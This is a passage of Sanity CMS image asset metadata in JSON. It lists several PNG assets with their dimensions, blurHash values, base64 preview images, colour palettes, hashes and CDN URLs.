k/G2q1du9KtW7d2Y+vW7tGt3do9ZER+gvG7f0BHYrsi2xXzHbHQbnJtudRqCUpXap21On9PO+dnyvlZpXdK1Ot2mjERmBWDjAioD4FbUAjoyfxZmTk9iUtskmcpvpiWRL7VbSh/5FavrfQ6nCylhRJV5ZF81ohAa+a9ubWv43PqwekZoCPm25njBhZgcSiGQzECzrPpqlTm6nxRyOV5yh3xrRj0mv0tjWFDtfT5/rvZu+oX/RO3L/T1A9VCMkuAUb8l5LMG/PZA0A2jEJmh0uUCVWLguHdh48Pg04mbUyNPZsYGHg1fGrk19Gx08tW9vvE7wEkKRcMeq3nPYNAbTb+Mln2Tw+JFYTSXjXKsJ4HNfvt0efjGldHrD16OXx0bunht4PHMxIr+vVq7AtAkjCM+n9tktxsdbovD57Afed2RsIc49lGUK5Vc2tdNzU2qvqgWthefz6sevple2l214n4tCgP5FJo8DkZC7hDkCcGHYCQI4nCAwLw45k+Qfjp6AK3bnG8Pw6tWSKczLWgdemsccdDxbRwGaizJMVEmAacSSDKJkVSUZMhYhsIZimBPwrmol9ikM9pswewjfthC33f8u9qgZwcDNWEXoFRpuUI3KrRYydSEnFBjqxJfblRKzRqniBiftiVdcS6cqsSclNtNHmy6dtVbmo8241rI+T8rQkap52Sx0GzwklyuKzWhLQldpdxtRcoFI4UjHEMKeXMKddGoEfao1pdf/9Qtgw5A5CmxlBLLTK2aE2qFisjzUrXYrBfbcr6tgCXudzIBFnNxgTOlSQsdd8aReb1Wpd9cPLL/AzZp0bP4zIaAAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#335654","foreground":"#fff","population":2.5,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#072e34","foreground":"#fff","population":1.3,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#aac9c2","foreground":"#000","population":5.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aac9c2","foreground":"#000","population":5.61,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8dccd5","foreground":"#000","population":0.09,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#529ca3","foreground":"#fff","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b19b4d","foreground":"#000","population":3.84,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"490b09aa4a2cc832cdbdcd94b07cdf614b3d3f8d-752x405.png","path":"images/sczeoy4w/production/490b09aa4a2cc832cdbdcd94b07cdf614b3d3f8d-752x405.png","sha1hash":"490b09aa4a2cc832cdbdcd94b07cdf614b3d3f8d","size":125733,"uploadId":"o0rxsXQsi8zX23mMQ05iwP7KiQtSwKQf","url":"https://cdn.sanity.io/images/sczeoy4w/production/490b09aa4a2cc832cdbdcd94b07cdf614b3d3f8d-752x405.png"} {"_createdAt":"2022-06-15T20:02:11Z","_id":"image-830e703d32810262b19dea9513d9b066c356da7b-1567x844-png","_rev":"6BJll63fjycTvao7Auphv7","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T01:00:48Z","assetId":"830e703d32810262b19dea9513d9b066c356da7b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MdQ05L?wT2I9?HXUWBX9s8ay?bIAadtSM}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACcUlEQVQokT3LSU8TUQAA4PkpGi/2wAmjwYSDC7igEgiVAyHEeDAuBzi4gBcjiRGiHJQYDCbYRHEBxAAu4aCsYWsp1GmHdkqZzvLeLO+9zryZKTMBOoZgTL7rx1iWC1UCIAIQyYoOVYyJbVGP2j6lRWpZlLoGtjmOZ2OrQBBRoWhYvmn7bnGHgSpik3x8jYuvc7E4yyb5vKQZ2MFGwRRSlJulm4tSZvrb14FIf8/CzAgnpVnVzKEioh6DMM0JMJOV+ayUyYo5ASqQ6Mgm+ayz9HF75qm33Eqizb+Hmnq7rn0euDk/92yBm1mVNZEUGdvxEHF15PxnYFfHDsqy9mzf9tztnWhFcflIfKzyVXfLowfhns6akeH2pXQ0b5iM7fikUETkHwO7GnIV5Ch5UY+NWittPnsKLZ/4EanpuNtSX3f5YlV5x72rU7MTUFX2My7snwMqcrd0R9AdWTMVISUl+sSVlpXvdc87G8MNteXlx0Kho+H6mrHhtwTwDD3I5CA7wHC2VCrrJjKIKguJpaHxD7d6u2rv3LhSXXU6FAodPnzo0vkzo5GXlrjOUOph4hjIRohiZGIDY023NOBqkg14fnVifPD+656GjrZzF6pPlpWVVVYcf9h6Pf7znc8vMA4uIAlAUUKKTFXZ1QRPzfpwYwckdyHr5hdh8lNq/nGkt6m58WxTuPbFk/bY5Hubmyql5xhPhySX1rKpgpTxtM0dLbOnbpTUVElNBloy0LkSYl15OvrrzWB/9+SXiPhn2pPXSiARSAlm1zE9om1jxS+APQuULCWw5H1UCSgIbBjY6q4Fqb5lgE0XiXsUligMLBDY2l8vRg5sWTLoQgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b324b","foreground":"#fff","population":0.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c2b71f","foreground":"#000","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7ca11","foreground":"#000","population":5.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9d1d6","foreground":"#000","population":1.26,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#92e2ef","foreground":"#000","population":0.36,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#54a06c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7ca11","foreground":"#000","population":5.62,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"830e703d32810262b19dea9513d9b066c356da7b-1567x844.png","path":"images/sczeoy4w/production/830e703d32810262b19dea9513d9b066c356da7b-1567x844.png","sha1hash":"830e703d32810262b19dea9513d9b066c356da7b","size":300457,"uploadId":"68e02uZqX7uS5Sg85GYkFnItJMaJjCuc","url":"https://cdn.sanity.io/images/sczeoy4w/production/830e703d32810262b19dea9513d9b066c356da7b-1567x844.png"} {"_createdAt":"2022-06-15T20:01:44Z","_id":"image-083e93a0109c512d273eee1431936d18f4641f0c-752x405-png","_rev":"QRl2cGoCgj0FlAhkRrhYo3","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:25Z","assetId":"083e93a0109c512d273eee1431936d18f4641f0c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MFNdt8bdD%^+OZ~VD%IqxtIU?G?bM|Vsoz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACTElEQVQokRXC527aQAAAYL9slb+V2j9tH6FS1ZGoIQmoykJZLYYAScNMAOOJzwt8Hufz+bxjkjeo+uljrqbKTHO8gCZxBjGdgc1I0jjdBI7rURqXZVE9v5KgWknYVBFBKI4MH/c48Pn8gekLBq/ZgQLilWoAfcpLg9mCU9V1gFCS4DQL0yxLkgKjwIPQtaHnrH1/KGm11oThTEfQbYOXbV40NB2YlqLrGty4hKA49v5PwixPyjIpC5JQPwwsz50Dg53yzAq60hrOZPDIy5Jm2CjwosgmoU1CGEUujXGWx89V9vKSbre0LHGawjBUHXehmwxnbGbA7D5yN3eD7mjyJMqiaS11Y6Hp0npjBRhnebrdFq+vSVUFaepSCqPIDLBsO8wtB9gn+YS9r51e1pvXp386zc7dCdv7ddO+6j+MJQB8AuMc56VPqQFt4LiaHyjQnWsWczZSzodio/VwcNk+vGCPrtq1y86PZvvL8c3exW1zJHQVZ2xi3o04zeqPJ8OlyJn2DJhDYcW0OKMrmP0l6M/l9pS/HiyOe9MDdlRrDY96s7Mn/Vr0eiCYrsOhrJ+3uhfd+wEvTxQwFBRGsBFAkYVjCxHVQQsD9nmtNV+1F6AvmmMTLd0Y4EzHyUIzT3+z3w8bTbYzFuWJrDIbQlGWk7KKiueoKL0kU30iOIHshTqmNk29JPNIBCzr73j8dXf37bv33/b3R0v+UQEMjCjKMpznYVEkVRWVpUNjixA3TkhRRnnuhlhQZLbTrjcaHz5+erOz87Nenyuruar/A+hLFJekTiXiAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#384044","foreground":"#fff","population":6.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6d1619","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#384044","foreground":"#fff","population":6.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5bdcc","foreground":"#000","population":6.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9cecd","foreground":"#000","population":0.11,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d6f67","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc5559","foreground":"#fff","population":0.29,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"083e93a0109c512d273eee1431936d18f4641f0c-752x405.png","path":"images/sczeoy4w/production/083e93a0109c512d273eee1431936d18f4641f0c-752x405.png","sha1hash":"083e93a0109c512d273eee1431936d18f4641f0c","size":159549,"uploadId":"laZrO2J21mEo3QylCRaW648nPPNWXAKV","url":"https://cdn.sanity.io/images/sczeoy4w/production/083e93a0109c512d273eee1431936d18f4641f0c-752x405.png"} {"_createdAt":"2022-06-15T20:01:46Z","_id":"image-c5019ab2215db23ba2f9ba1ff098ab9a8960e2b9-725x405-png","_rev":"6BJll63fjycTvao7AuoAor","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T00:54:14Z","assetId":"c5019ab2215db23ba2f9ba1ff098ab9a8960e2b9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MoNcygtmsoVYgh?^XAoLnOS$R5w]oLR,s9","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7901234567901234,"height":405,"width":725},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqklEQVQokQGfAmD9AM3n5OHi5ujO3uvR3+/q7Ov08Nvx7Mjt6L7p5MHr5Mnr5MfQyriloK+TkrehocWxscCopcSqpN/TzPD08ADQ5ePa0d7hudTpvdbo1t/a4N/N3tvF3NzB2dzA3d7G4tzFw7S1kXuugGe2iGrGmHbRpX7atY7i1bri7+YA3evm39Xg4L3Y6MDa6tji3uHg1t/e1N7gzdzhxN3gyeTd1dO61a5605dU1pRJ3ptO561i6sWF3t67z+3jANvs5+Hj5eDT3uLR3ujh5urr6+Xr6t7r6trt69Xt6dfu5uHo1OfQqOe0fuSmbOWqceu7h+jSqtfkz8Ls4wDB4OLM3t3T19fV1NXa2tvg4+LX4N/P4d3X7Obd8uvg8efm6NXp0rXnvJ7ls5jltpvovqPqzK/f28PJ59gAp9Tasc/SvMnHyc3K0tbVztbUvcrItcjEudLMt9jTwt/X29q/57yN5ql65amB5qyF6K2B6rSC5sic2OHJAKnNz6nBwKWvq62wrLvAvbS9up2qp5CkoYumoYisqJ3BvL7Itc+ogtGVa86SbcyQas6Sas+Zb9Kwj9fXwwC5tKa0q56roJSsoJazqqCwqZ+fm5GVlIiTlIeXm46mqp+qopqggHeZbmaPZV6IXVaNX1eTZVymgXXGr58AyJNzvo5ytot0tI15tI97s456rYdzsIduvY1wxZR1w5N4q3pmilRJd0I8aTg3ZDQ1cT04hUs/o2lTw4tuAM2GYcSBX7t9Xrh8YLd9Ybh+Yrl+YMGEYs2LZdGNZs6KZbx3VJxTNYY+Jns3JXw4J4tDKqNXM750SsyHYADKgF3EelnBeVnDfFzFfl3JgmDOimPSkGbQjWbLiGPOi2XDgFyjXUKLRTGEPyyIQS6TSzKmXDzAd1LMiGPiEsJC0Z+T5wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#44292e","foreground":"#fff","population":7.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8d4837","foreground":"#fff","population":7,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#44292e","foreground":"#fff","population":7.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbb2b1","foreground":"#000","population":3.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8c457","foreground":"#000","population":0.28,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#59a9a8","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d77220","foreground":"#fff","population":0.7,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"c5019ab2215db23ba2f9ba1ff098ab9a8960e2b9-725x405.png","path":"images/sczeoy4w/production/c5019ab2215db23ba2f9ba1ff098ab9a8960e2b9-725x405.png","sha1hash":"c5019ab2215db23ba2f9ba1ff098ab9a8960e2b9","size":138586,"uploadId":"X1l2ooOpPspQ7GZxkDcmjm8zsWmeWh5A","url":"https://cdn.sanity.io/images/sczeoy4w/production/c5019ab2215db23ba2f9ba1ff098ab9a8960e2b9-725x405.png"} {"_createdAt":"2022-06-15T20:02:12Z","_id":"image-140ac6dc045183d281b7d518122536af80ab0889-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO83XV","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:24:50Z","assetId":"140ac6dc045183d281b7d518122536af80ab0889","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MXQvB:*0%N9F.7O]WAngsnbv?GInM{-oJ8","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACVklEQVQokU3L22/SUACA8f5/xhgD0ewFjZrFeAvqvD04TXSbJrpkxCxLdlOT4ZMZG4KaMbc5toWROaBQoaUIlJ7ezjnt6QXKgNa4xGnye/kePsogjqwgIGmSjGQVKyqSFQxkqGqGQTrE7OqGjTBBVUH/mDImZs3IkpnOmchyOj0KyJAp83m6Uiiy+UI5T5fpEpenK5VqU9FMFVos3zjY/1GOb4B3cS2ahPPL8MMXxLZMq0tpiNSbSrUG+Brg+BbHt/hfUrUm1gVV0SxZJUWGTSW/fp+Lch+SYI+WkzvqUhLSNWJ2KGK5GnJUaKvoxHFCG2JH0cwSw8Vjq0tT04npxdzKejOxra3t6nzDJoQiVhfitoYciNv/Q7iNjQ6Q0OZWemoqcv/O3Yc3w/PPx4uxqF7YcETGxa1/81821CykYkOWbFAXS9nowszV4eFAIBAMBK9fGVpZCMPSTE/e7uPa8ayfzBZUMW41CZt1cgk38176/Hpx/PbQuWAwGAyFQucDp8ZGzlZSk/162pOqlGm5CNkatCA0kYYNqWXxh+3cqrszd7Q+AWMjsclrj25dfPbgxpvR8NPQmciF08zMWG8r7h1mKBvpUABSQ4Biy5QFR+LdZv6IT/cra4NCtJ15xX568m3x3t5smIlcph8HudFLZO7FYGPZ/5mlXFXCtYpSZXSBdRW+p7ADuewpjCcXfZD1hJTLxcjhgrX50l0d7a1MeKm3/n7C5/d9yFN923Cx0kFiVwcDAjwi+kT0TdG3gG/+4ek1TznwhF2vkfFE2td4X2/6BPht+Bt26R+YAVM5sAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#383839","foreground":"#fff","population":5.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9b4f12","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#383839","foreground":"#fff","population":5.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbbec0","foreground":"#000","population":1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c9c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686ca8","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e41444","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"140ac6dc045183d281b7d518122536af80ab0889-1567x844.png","path":"images/sczeoy4w/production/140ac6dc045183d281b7d518122536af80ab0889-1567x844.png","sha1hash":"140ac6dc045183d281b7d518122536af80ab0889","size":302820,"uploadId":"r874wWocdDXE4nHnMNcjr7DGQtwZ9VAA","url":"https://cdn.sanity.io/images/sczeoy4w/production/140ac6dc045183d281b7d518122536af80ab0889-1567x844.png"} {"_createdAt":"2022-06-15T20:01:55Z","_id":"image-8ba96c192f5d29f510c856dec1c2b31b27f773d8-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRrhvIi","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:12Z","assetId":"8ba96c192f5d29f510c856dec1c2b31b27f773d8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MJST{d_rSiXTv}$mX9sSS~nh*|NHTJwIX8","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC8klEQVQokS3QX09bdRyA8Yomi9liNGFhOuecMWIgSDaglpaWrqRdW2kLnEGhK6wtlFOgQLFFJBZxrJP9gWWJmuhMluzOF2DirTfGO/VCVGbcYEOUgBoYR8f66/cxM76BJ/k8Jixd4IiCsxccZ8AWBmsI7D5wtYDHgfgtEKwDrQbpqaIUq0INVlJKHaU0VI6kDyAT+yBXhgl7BAIpaBuBgA7uKNiD4HAjLiecsiGtZkrtJyhG6ngw1MzWbJj1yzE2329jJ9+AMXmEf6bK2c1XYKIpAm/oEBqGoA6tZ8GrgdePBDzQ4UI6bex1m7mvN/NXLsSd2QS3LiVYW+zm16un+b1gYeN8DStXHJj+Y7anIfIm9E5AbBRigxA/iyQjMNRFKeljN+Xhj1wrW2kvtwe8rGRb2DjvYvWyl1sFG8tz9fx8sfFRMAqnxyA+BQOToGdgeATGUsh4HIbbKaZ8bJwbZGUxw9a4m/WklR/PdbP0QYJf5ptZmqnlu5la7uSP/f9QS0M8B/0Z0EdgJAXjA8hoD/Q5eBhvYm0hy083LnJvLsxq3ss3i0m+/nCYlfnX2cwfYmP6IDtv78dEYxh8CegchJ4E9PZCrBv6NaTfB5F6in3H+fPdMHevpfnhSpJvF5J8f+EMy+/5WL9QzW+Fw2y98zTFqccxiVkTsWkiJ9tE3H4Rn1sk6BTpsIp01gvhailFX5U9/TW5nzXLvVmvLBc0uT3pkbVsgyzP18nnH4Xky0t22Z7eLybM7dAYAPspOOkCTxP4zRA8jmjVEH4FiR5D4kdQ+mEeZI6ym3uR7cxzbE8cZGm+nus3p/nskxSbM4cekYOKJr/C6Va4nQqfVRFoUHTUKumqUkReVtL3gpL+Z5Xo5UrSTynJPKkk+4QqvVWm7s5Vlr64Plb66tO0bBcqxYS11cDuNXC1GHjsBn6LQeiEgVZjSLjSIPqSIbHnDRmoMGToGUNGDxgysc9gssyQqceMnZmKv1evhvY2P06o4oLl4b9WRTueqQu0zwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#713927","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9c4f36","foreground":"#fff","population":0.8,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":8.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cd9ca9","foreground":"#000","population":1.45,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc453f","foreground":"#fff","population":8.62,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#458797","foreground":"#fff","population":2.91,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":8.64,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"8ba96c192f5d29f510c856dec1c2b31b27f773d8-1567x844.png","path":"images/sczeoy4w/production/8ba96c192f5d29f510c856dec1c2b31b27f773d8-1567x844.png","sha1hash":"8ba96c192f5d29f510c856dec1c2b31b27f773d8","size":158008,"uploadId":"98NiTNAuJxHZ2nn9zlbwWmo6SnSOhVEN","url":"https://cdn.sanity.io/images/sczeoy4w/production/8ba96c192f5d29f510c856dec1c2b31b27f773d8-1567x844.png"} {"_createdAt":"2022-06-15T20:01:58Z","_id":"image-34ab4ff17bb5477849853b4ef08339b19e7ffcb1-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEcVPV","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:56Z","assetId":"34ab4ff17bb5477849853b4ef08339b19e7ffcb1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MAR@#%zlI,$zRk{cjKtSxYs.4UR%PAW=oJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACjElEQVQokRXM6U/aYACA8VeNui2ZO/gwNcvmNDPZTJYdbCoqcopDDqFcKiCCiAiFlhZlDB0qH4wm+wOXbbpL5Wjp29KDAsli8nz9PYCasUAtwujdFa3rUu24mjVXNPqaaYayva27XzBrIzD8CMYH2FQfm+mGGcBgAOIAYoBOAwC1zoYzzHm26s4wvbhKq23MvAkaNZxlkkNeNVae86HHfOxhI3mHw3sYDFCpG8ziNxfA61yiNyaspwVvTDCtCHPL4pxF0pmkj3OSXSl5JpqB0WZkUIrfE9P9bLqbQrsYrKuBAw4HQDR4mkFUTuZbG3jLHmovrHSM3rbZIzvskscgr6paoTet6HgLfSqTQ/yuop69D3cH+N1bAtENRL1b9sbam0QnQnQCaNsXb3vjzUBCiGxzEb8QdcgJUyet7uyp2l+UUnECFsfh4ZhQUEhkLxDmnU3bessXbwdTcjAl+hNiJMMl8zCdY1AUJkJiZrVd8HUOLJ2cUiJHYXaYyQ2Kubsy2QMaGqeIRJohTNzKNjYwNojyiXyjcMIenrH7RwyBcYWUcEZKJb+EKXn0GZ0aonGFQN6WyW5A6RC4tsMm8yx2AON7XJQQiaJ4cMoffW0UT9hMFuZJePoZlmIwb4OHZrpkpI/fc4VhnugFv9XL167NWhinogQTSnOBpLBF8js5Ds1z6CduE2W343UiXs34axlHfR+pl+zVY3V578l1sg98nzRfqJf/6lyXendNh0CNk9EitM5NGTy00cMYEGbBVrUuXjnny+4PtbXXlfDLf7GRi9iD81g/+DZt+aGynqusv1TWssrKTFuoKXN1aomaWqpP30TNLlb0+mvzbNn+roJMXPnG/qwPn0cVP7cH/gOnMlyurTOOOgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#944104","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#db6107","foreground":"#fff","population":2.54,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f47404","foreground":"#fff","population":5.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4a4a4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc74a4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a4554e","foreground":"#fff","population":0.53,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f47404","foreground":"#fff","population":5.96,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"34ab4ff17bb5477849853b4ef08339b19e7ffcb1-1567x844.png","path":"images/sczeoy4w/production/34ab4ff17bb5477849853b4ef08339b19e7ffcb1-1567x844.png","sha1hash":"34ab4ff17bb5477849853b4ef08339b19e7ffcb1","size":611954,"uploadId":"eVwAA6SiVqEp3JuVpiUDFVqxxRl4ABwQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/34ab4ff17bb5477849853b4ef08339b19e7ffcb1-1567x844.png"} {"_createdAt":"2022-06-15T20:01:56Z","_id":"image-7892a21a69e3609ff6d35a0bdf74545305cdf1e8-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEcPKE","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:27Z","assetId":"7892a21a69e3609ff6d35a0bdf74545305cdf1e8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCC}k*2Qf+}I5P=$A9];JRI-0c{-n+6K}b","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACl0lEQVQokR3LW0xSYQAA4P+AiihwuJwLBxDOQRAJJiJyPefnAEcuCtJBCEQQcVlzuGlN7eJytrK2LqucW7et3uqtB11vOVdba7O33toarafWY7343HT7Xj/QqeVUhgRqFJSGhJzgewhebRpTm8ZQo9Cr5zs0Yak6INWGpDpWisHOUx04lOFQRfCgVx9n3AX7cIl2iYR1HGcyjLtg8xQHPEXakUNJXqZlVVTcxOQs1nwfnbMwk05HkXfXy2caoJvgKXvW4hJNjknMkkKNgs6cJOiUzZodorNGUkDJuG+ovlzY3pp5slG6v1l6sFt/ttd4/WXqKZBh0GDPDvoqjpEy7RJ15mQPxim0LIPHPWTKhCdwKjkNLx+svW/f+/rj5uf2xsff64d/Wvvtyisgx6O0S/SyDT/fjAgLXnbW4T3X78xbDEkKjymxKE4mLgwvfqu/OV77dLz84V/zXVt8vh/bujPSAkp9zOmrRISFxESrWLtWmr2embo0Gm2SdFpJxvpsuairete9+D1w629i51f03oFvfds5P24t2CzjQG1MjMK5tLh8trw2c35TrF7xwoZ+IKvQ82YmU82svJh7fJR/9HP0xpFjabe/XqFFhzmjMCak+hjoIaJWt+gJ1fxwLhSfdwerGJOWYSxliOW9tYfl23utl4e13bfs6tJgyWtNa8xCBxVDSB4hokCKhuU6VoFBJQFVBOwlYJcuItOFnZaxlcjFnfzW1dRqLdCELtHoFGQDEKFZxMABEgIiChBVCFEGEUUAUfhPqPwIGpRoQpgesoP5ieFptz2rM/DdFJSYOcQaRvqDgAmBvgiguNOsCiLKIFAFTqABgAaBOiTRhOR4RElyXTgnwTgE4wABgYEFdBDYA8AWAHT4PyAKmsu515YRAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#56264e","foreground":"#fff","population":1.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c34","foreground":"#fff","population":28.58,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040c34","foreground":"#fff","population":28.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acbcc9","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f478c9","foreground":"#000","population":0.79,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6e7e9f","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e71e6b","foreground":"#fff","population":3.63,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"7892a21a69e3609ff6d35a0bdf74545305cdf1e8-1567x844.png","path":"images/sczeoy4w/production/7892a21a69e3609ff6d35a0bdf74545305cdf1e8-1567x844.png","sha1hash":"7892a21a69e3609ff6d35a0bdf74545305cdf1e8","size":366213,"uploadId":"HWj5ZrrSsrPavJ69MuoL5aYzCQeFNSw5","url":"https://cdn.sanity.io/images/sczeoy4w/production/7892a21a69e3609ff6d35a0bdf74545305cdf1e8-1567x844.png"} 